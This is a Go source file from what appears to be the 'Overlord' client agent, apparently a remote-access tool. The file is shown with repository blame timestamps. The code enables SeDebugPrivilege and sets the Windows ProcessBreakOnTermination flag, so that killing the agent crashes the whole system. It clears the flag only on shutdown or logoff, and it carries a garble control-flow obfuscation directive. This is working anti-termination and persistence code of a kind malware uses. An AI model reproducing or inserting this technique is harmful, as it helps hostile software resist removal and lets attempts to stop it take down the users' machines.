Files
overlord/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go
T

245 lines
6.0 KiB
Go
Raw Normal View History

2026-04-03 10:47:05 -05:00
//go:build windows
// +build windows
package criticalproc
import (
"fmt"
"log"
"runtime"
"sync"
2026-04-03 10:47:05 -05:00
"unsafe"
"golang.org/x/sys/windows"
)
var (
modntdll = windows.NewLazySystemDLL("ntdll.dll")
procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess")
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
procSetConsoleCtrlHandler = modkernel32.NewProc("SetConsoleCtrlHandler")
procGetModuleHandleW = modkernel32.NewProc("GetModuleHandleW")
moduser32 = windows.NewLazySystemDLL("user32.dll")
procRegisterClassExW = moduser32.NewProc("RegisterClassExW")
procCreateWindowExW = moduser32.NewProc("CreateWindowExW")
procDefWindowProcW = moduser32.NewProc("DefWindowProcW")
procGetMessageW = moduser32.NewProc("GetMessageW")
procTranslateMessage = moduser32.NewProc("TranslateMessage")
procDispatchMessageW = moduser32.NewProc("DispatchMessageW")
stateMu sync.Mutex
breakOnTerminationEnabled bool
shutdownHandlerRegistered bool
consoleCtrlCallback uintptr
shutdownWindowCallback uintptr
2026-04-03 10:47:05 -05:00
)
const processBreakOnTermination = 29
const (
ctrlCloseEvent = 2
ctrlLogoffEvent = 5
ctrlShutdownEvent = 6
wmQueryEndSession = 0x0011
wmEndSession = 0x0016
)
type wndClassEx struct {
cbSize uint32
style uint32
lpfnWndProc uintptr
cbClsExtra int32
cbWndExtra int32
hInstance windows.Handle
hIcon windows.Handle
hCursor windows.Handle
hbrBackground windows.Handle
lpszMenuName *uint16
lpszClassName *uint16
hIconSm windows.Handle
}
type point struct {
x int32
y int32
}
type msg struct {
hwnd windows.Handle
message uint32
wParam uintptr
lParam uintptr
time uint32
pt point
}
2026-04-03 10:47:05 -05:00
func Setup() {
2026-04-20 13:46:59 -05:00
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
2026-04-03 10:47:05 -05:00
if !windows.GetCurrentProcessToken().IsElevated() {
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
return
}
if err := enableSeDebugPrivilege(); err != nil {
log.Printf("[criticalproc] failed to enable SeDebugPrivilege: %v", err)
return
}
if err := ntSetBreakOnTermination(1); err != nil {
log.Printf("[criticalproc] failed to set critical process: %v", err)
return
}
stateMu.Lock()
breakOnTerminationEnabled = true
stateMu.Unlock()
registerShutdownHandler()
2026-04-03 10:47:05 -05:00
log.Printf("[criticalproc] process marked as critical")
}
func Teardown() {
stateMu.Lock()
enabled := breakOnTerminationEnabled
stateMu.Unlock()
if !enabled {
2026-04-03 10:47:05 -05:00
return
}
if err := ntSetBreakOnTermination(0); err != nil {
log.Printf("[criticalproc] failed to unset critical process: %v", err)
return
}
stateMu.Lock()
breakOnTerminationEnabled = false
stateMu.Unlock()
}
func registerShutdownHandler() {
stateMu.Lock()
if shutdownHandlerRegistered {
stateMu.Unlock()
return
}
shutdownHandlerRegistered = true
stateMu.Unlock()
consoleCtrlCallback = windows.NewCallback(func(ctrlType uint32) uintptr {
switch ctrlType {
case ctrlCloseEvent, ctrlLogoffEvent, ctrlShutdownEvent:
Teardown()
}
return 0
})
ret, _, err := procSetConsoleCtrlHandler.Call(consoleCtrlCallback, 1)
if ret == 0 {
log.Printf("[criticalproc] failed to register shutdown handler: %v", err)
}
go runShutdownWindow()
}
func runShutdownWindow() {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
className, err := windows.UTF16PtrFromString("OverlordCriticalProcessShutdownWindow")
if err != nil {
log.Printf("[criticalproc] failed to create shutdown window class name: %v", err)
return
}
instance, _, _ := procGetModuleHandleW.Call(0)
shutdownWindowCallback = windows.NewCallback(func(hwnd uintptr, msg uint32, wParam uintptr, lParam uintptr) uintptr {
switch msg {
case wmQueryEndSession:
Teardown()
return 1
case wmEndSession:
if wParam != 0 {
Teardown()
}
}
ret, _, _ := procDefWindowProcW.Call(hwnd, uintptr(msg), wParam, lParam)
return ret
})
wc := wndClassEx{
cbSize: uint32(unsafe.Sizeof(wndClassEx{})),
lpfnWndProc: shutdownWindowCallback,
hInstance: windows.Handle(instance),
lpszClassName: className,
}
ret, _, registerErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
if ret == 0 {
log.Printf("[criticalproc] failed to register shutdown window class: %v", registerErr)
return
}
hwnd, _, createErr := procCreateWindowExW.Call(
0,
uintptr(unsafe.Pointer(className)),
uintptr(unsafe.Pointer(className)),
0,
0,
0,
0,
0,
0,
0,
instance,
0,
)
if hwnd == 0 {
log.Printf("[criticalproc] failed to create shutdown window: %v", createErr)
return
}
var message msg
for {
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), hwnd, 0, 0)
if int32(ret) <= 0 {
return
}
procTranslateMessage.Call(uintptr(unsafe.Pointer(&message)))
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message)))
2026-04-03 10:47:05 -05:00
}
}
func enableSeDebugPrivilege() error {
var hToken windows.Token
err := windows.OpenProcessToken(
windows.CurrentProcess(),
windows.TOKEN_ADJUST_PRIVILEGES|windows.TOKEN_QUERY,
&hToken,
)
if err != nil {
return fmt.Errorf("OpenProcessToken: %w", err)
}
defer hToken.Close()
seDebugName, err := windows.UTF16PtrFromString("SeDebugPrivilege")
if err != nil {
return fmt.Errorf("UTF16PtrFromString: %w", err)
}
var luid windows.LUID
if err := windows.LookupPrivilegeValue(nil, seDebugName, &luid); err != nil {
return fmt.Errorf("LookupPrivilegeValue: %w", err)
}
tp := windows.Tokenprivileges{
PrivilegeCount: 1,
Privileges: [1]windows.LUIDAndAttributes{
{Luid: luid, Attributes: windows.SE_PRIVILEGE_ENABLED},
},
}
return windows.AdjustTokenPrivileges(hToken, false, &tp, 0, nil, nil)
}
func ntSetBreakOnTermination(val uint32) error {
ret, _, _ := procNtSetInformationProcess.Call(
uintptr(windows.CurrentProcess()),
processBreakOnTermination,
uintptr(unsafe.Pointer(&val)),
unsafe.Sizeof(val),
)
if ret != 0 {
return fmt.Errorf("NtSetInformationProcess(ProcessBreakOnTermination) failed: NTSTATUS 0x%x", ret)
}
return nil
}